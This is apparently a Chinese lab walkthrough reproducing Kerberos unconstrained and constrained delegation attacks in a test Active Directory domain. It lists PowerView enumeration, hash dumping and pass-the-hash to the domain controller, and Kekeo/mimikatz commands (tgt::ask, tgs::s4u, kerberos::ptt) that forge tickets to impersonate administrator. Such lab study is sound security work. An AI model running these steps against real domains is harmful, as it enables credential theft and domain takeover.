委派與約束委派實際利用實戰
域控機 windows2016
域成員主機 windows2012
非約束委派賬號 yzc
非約束委派
User>service1(直接傳送tgt,則service1可以用這個tgt去訪問任何user允許訪問的服務)
實驗準備
1. 設定yzc為服務賬號
Setspn –U –A https/golden yzc
2. 設定賬號為非約束委派
3. 查詢非約束委派賬號
當ps指令碼禁止載入時修改配置即可
Powerview Get-Netuser -Unconstrained -Domain yzc.com | select name
4.域控機器模擬登陸winrm Enter-PSSession -ComputerName WIN
5.域成員主機匯出hash,發現administrator hash
6.匯入hash 訪問域控
約束委派復現(傳送請求時,由服務代表user向KDC請求票據)
協議S4U2Self S4U2proxy。
在約束委派的情況下,服務使用者只能獲取某個使用者的的服務st,訪問特定的服務。當獲取了服務使用者的密碼明文或者NTMLhash,則可以偽裝成服務使用者以任意使用者許可權訪問s某服務的st。
使用者-》服務1-》服務2 (當使用者委派了服務1訪問服務2,服務1以任意使用者的名義申請訪問服務2(這裡可以用administrator)
環境配置:
兩臺域主機
Win2012-1
Win2012-2 y使用者登入 ,設定y使用者對此主機有約束委派關係,服務為cifs。
域控
Win2016
復現過程:
1.獲取服務使用者y的TGT(已知明文密碼或者ntml)這裡使用者為y ,發現當前目錄生成了kirbi檔案
tgt:ask /user:y /domain:yzc.com /password:XXX
2.根據S4u偽造票據
Tgs::s4u /tgt:(步驟一中生成的y使用者的tgt票據) /user:(要偽造的使用者) /service:(服務)
3.將偽造的票據利用mimikatz匯入
Kerberos::ptt 票據
4.訪問win2012-2主機的C盤,發現成功